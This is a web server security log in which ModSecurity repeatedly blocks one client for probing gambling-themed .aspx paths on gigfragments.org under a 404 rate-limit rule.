[Wed Feb 11 16:04:59.518785 2026] [:error] [pid 27964:tid 27993] [client 65.108.125.120:10736] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYw4K8p0XgWYHLcQtEiLgQAAABI"]
[Wed Feb 11 16:05:01.471164 2026] [:error] [pid 28073:tid 28081] [client 65.108.125.120:10744] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYw4LYeHYIlOlF-DsMxtSAAAAMY"]
[Wed Feb 11 16:05:03.399897 2026] [:error] [pid 28073:tid 28098] [client 65.108.125.120:10758] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYw4L4eHYIlOlF-DsMxtTAAAANc"]
[Wed Feb 11 16:05:05.470567 2026] [:error] [pid 17401:tid 17415] [client 65.108.125.120:10764] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYw4MQ0lHeayTY40t34tdQAAAQw"]
[Wed Feb 11 16:05:07.283395 2026] [:error] [pid 27966:tid 28050] [client 65.108.125.120:10774] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYw4M18HJ9ydyf0SPu5wwwAAAJQ"]
[Wed Feb 11 16:05:09.497033 2026] [:error] [pid 27965:tid 28027] [client 65.108.125.120:28756] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYw4NdHLAUAIo8qpZyEWUQAAAFg"]
[Wed Feb 11 16:05:11.604759 2026] [:error] [pid 27966:tid 28031] [client 65.108.125.120:28772] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYw4N18HJ9ydyf0SPu5wxwAAAIE"]
[Wed Feb 11 16:05:13.690934 2026] [:error] [pid 22569:tid 22574] [client 65.108.125.120:28784] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYw4OcAhSI7iX9G3enj1vQAAAYE"]
[Wed Feb 11 16:05:15.637974 2026] [:error] [pid 27965:tid 28014] [client 65.108.125.120:28792] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYw4O9HLAUAIo8qpZyEWWAAAAEs"]
[Wed Feb 11 16:05:17.603631 2026] [:error] [pid 22569:tid 22592] [client 65.108.125.120:13162] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYw4PcAhSI7iX9G3enj1wgAAAZM"]
[Wed Feb 11 16:06:01.902701 2026] [:error] [pid 27964:tid 27998] [client 65.108.125.120:11694] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYw4acp0XgWYHLcQtEiLtgAAABc"]
[Wed Feb 11 16:06:03.931949 2026] [:error] [pid 27964:tid 27980] [client 65.108.125.120:11706] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYw4a8p0XgWYHLcQtEiLtwAAAAU"]
[Wed Feb 11 16:06:05.999189 2026] [:error] [pid 22570:tid 22616] [client 65.108.125.120:11710] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYw4bSE5uSe043FXwQox-wAAAdA"]
[Wed Feb 11 16:06:08.020744 2026] [:error] [pid 27966:tid 28039] [client 65.108.125.120:40272] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYw4cF8HJ9ydyf0SPu5w_wAAAIk"]
[Wed Feb 11 16:06:10.024916 2026] [:error] [pid 17401:tid 17427] [client 65.108.125.120:40288] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYw4cg0lHeayTY40t34tnAAAARg"]
[Wed Feb 11 16:06:11.969411 2026] [:error] [pid 27964:tid 27988] [client 65.108.125.120:40298] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYw4c8p0XgWYHLcQtEiLvgAAAA0"]
[Wed Feb 11 16:06:14.054617 2026] [:error] [pid 27966:tid 28033] [client 65.108.125.120:40304] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYw4dl8HJ9ydyf0SPu5xBQAAAIM"]
[Wed Feb 11 16:06:16.114828 2026] [:error] [pid 27965:tid 28024] [client 65.108.125.120:40318] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYw4eNHLAUAIo8qpZyEWjQAAAFU"]
[Wed Feb 11 16:06:18.182161 2026] [:error] [pid 22570:tid 22622] [client 65.108.125.120:8332] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYw4eiE5uSe043FXwQoyDAAAAdY"]
[Wed Feb 11 16:06:20.221565 2026] [:error] [pid 27964:tid 27987] [client 65.108.125.120:8340] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYw4fMp0XgWYHLcQtEiLxgAAAAw"]
[Wed Feb 11 16:06:22.330003 2026] [:error] [pid 22569:tid 22594] [client 65.108.125.120:8346] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYw4fsAhSI7iX9G3enj18QAAAZU"]
[Wed Feb 11 16:06:24.215175 2026] [:error] [pid 17401:tid 17414] [client 65.108.125.120:8362] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYw4gA0lHeayTY40t34tqgAAAQs"]
[Wed Feb 11 16:06:26.366757 2026] [:error] [pid 27964:tid 27980] [client 65.108.125.120:8366] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYw4gsp0XgWYHLcQtEiLzAAAAAU"]
[Wed Feb 11 16:06:28.304862 2026] [:error] [pid 28073:tid 28077] [client 65.108.125.120:15920] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYw4hIeHYIlOlF-DsMxt5AAAAMI"]
[Wed Feb 11 16:06:30.368255 2026] [:error] [pid 27965:tid 28022] [client 65.108.125.120:15922] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYw4htHLAUAIo8qpZyEWmwAAAFM"]
[Wed Feb 11 16:06:32.286607 2026] [:error] [pid 22569:tid 22594] [client 65.108.125.120:15924] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYw4iMAhSI7iX9G3enj19wAAAZU"]
[Wed Feb 11 16:06:34.281677 2026] [:error] [pid 27964:tid 27978] [client 65.108.125.120:15936] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYw4isp0XgWYHLcQtEiL2AAAAAM"]
[Wed Feb 11 16:06:36.403934 2026] [:error] [pid 22537:tid 22555] [client 65.108.125.120:15938] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYw4jCfg2TagwM3bvQO_DAAAAVA"]
[Wed Feb 11 16:06:38.509899 2026] [:error] [pid 28073:tid 28075] [client 65.108.125.120:17560] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYw4joeHYIlOlF-DsMxt-QAAAMA"]
[Wed Feb 11 16:06:40.499042 2026] [:error] [pid 17401:tid 17414] [client 65.108.125.120:17568] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYw4kA0lHeayTY40t34twAAAAQs"]
[Wed Feb 11 16:06:42.459094 2026] [:error] [pid 27964:tid 27987] [client 65.108.125.120:17570] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYw4ksp0XgWYHLcQtEiL7AAAAAw"]
[Wed Feb 11 16:06:44.429414 2026] [:error] [pid 27966:tid 28042] [client 65.108.125.120:17574] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYw4lF8HJ9ydyf0SPu5xHgAAAIw"]
[Wed Feb 11 16:06:46.499516 2026] [:error] [pid 27964:tid 27986] [client 65.108.125.120:17586] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYw4lsp0XgWYHLcQtEiL8wAAAAs"]
[Wed Feb 11 16:06:48.540268 2026] [:error] [pid 22569:tid 22576] [client 65.108.125.120:20140] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYw4mMAhSI7iX9G3enj2CgAAAYM"]
[Wed Feb 11 16:06:50.596126 2026] [:error] [pid 28073:tid 28086] [client 65.108.125.120:20150] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYw4moeHYIlOlF-DsMxuCAAAAMs"]
[Wed Feb 11 16:06:52.496359 2026] [:error] [pid 22537:tid 22557] [client 65.108.125.120:20162] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYw4nCfg2TagwM3bvQO_GgAAAVI"]
[Wed Feb 11 16:06:54.566585 2026] [:error] [pid 22537:tid 22554] [client 65.108.125.120:20164] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYw4nifg2TagwM3bvQO_HAAAAU8"]
[Wed Feb 11 16:06:56.565499 2026] [:error] [pid 22569:tid 22573] [client 65.108.125.120:20180] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aYw4oMAhSI7iX9G3enj2EQAAAYA"]
[Wed Feb 11 16:07:41.733101 2026] [:error] [pid 22569:tid 22583] [client 65.108.125.120:54494] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYw4zcAhSI7iX9G3enj2TAAAAYo"]
[Wed Feb 11 16:07:43.656777 2026] [:error] [pid 17401:tid 17420] [client 65.108.125.120:54508] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYw4zw0lHeayTY40t34uHQAAARE"]
[Wed Feb 11 16:07:45.629386 2026] [:error] [pid 22569:tid 22581] [client 65.108.125.120:54520] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYw40cAhSI7iX9G3enj2UAAAAYg"]
[Wed Feb 11 16:07:47.677496 2026] [:error] [pid 28073:tid 28091] [client 65.108.125.120:15394] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYw404eHYIlOlF-DsMxuWgAAANA"]
[Wed Feb 11 16:07:49.770516 2026] [:error] [pid 28073:tid 28096] [client 65.108.125.120:15406] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYw41YeHYIlOlF-DsMxuYQAAANU"]
[Wed Feb 11 16:07:51.814834 2026] [:error] [pid 22570:tid 22604] [client 65.108.125.120:15410] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYw41yE5uSe043FXwQoyoQAAAcQ"]
[Wed Feb 11 16:07:53.768611 2026] [:error] [pid 17401:tid 17422] [client 65.108.125.120:15420] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYw42Q0lHeayTY40t34uLQAAARM"]
[Wed Feb 11 16:07:55.859889 2026] [:error] [pid 22570:tid 22624] [client 65.108.125.120:15430] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYw42yE5uSe043FXwQoypgAAAdg"]
[Wed Feb 11 16:07:57.900993 2026] [:error] [pid 28073:tid 28098] [client 65.108.125.120:37794] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYw43YeHYIlOlF-DsMxuaQAAANc"]
[Wed Feb 11 16:07:59.971975 2026] [:error] [pid 27966:tid 28039] [client 65.108.125.120:37804] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYw4318HJ9ydyf0SPu5xrQAAAIk"]
[Wed Feb 11 16:08:02.135480 2026] [:error] [pid 22570:tid 22600] [client 65.108.125.120:37816] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYw44iE5uSe043FXwQoywQAAAcA"]
[Wed Feb 11 16:08:04.191969 2026] [:error] [pid 27964:tid 27994] [client 65.108.125.120:37824] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYw45Mp0XgWYHLcQtEiMpgAAABM"]
[Wed Feb 11 16:08:06.304305 2026] [:error] [pid 27964:tid 27990] [client 65.108.125.120:37836] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYw45sp0XgWYHLcQtEiMtQAAAA8"]
[Wed Feb 11 16:08:08.407087 2026] [:error] [pid 22570:tid 22623] [client 65.108.125.120:25236] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYw46CE5uSe043FXwQoyywAAAdc"]
[Wed Feb 11 16:08:10.358116 2026] [:error] [pid 28073:tid 28078] [client 65.108.125.120:25244] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYw46oeHYIlOlF-DsMxuhAAAAMM"]
[Wed Feb 11 16:08:12.281840 2026] [:error] [pid 22537:tid 22556] [client 65.108.125.120:25252] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYw47Cfg2TagwM3bvQO_gAAAAVE"]
[Wed Feb 11 16:08:14.379392 2026] [:error] [pid 27966:tid 28048] [client 65.108.125.120:25262] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYw47l8HJ9ydyf0SPu5xwQAAAJI"]
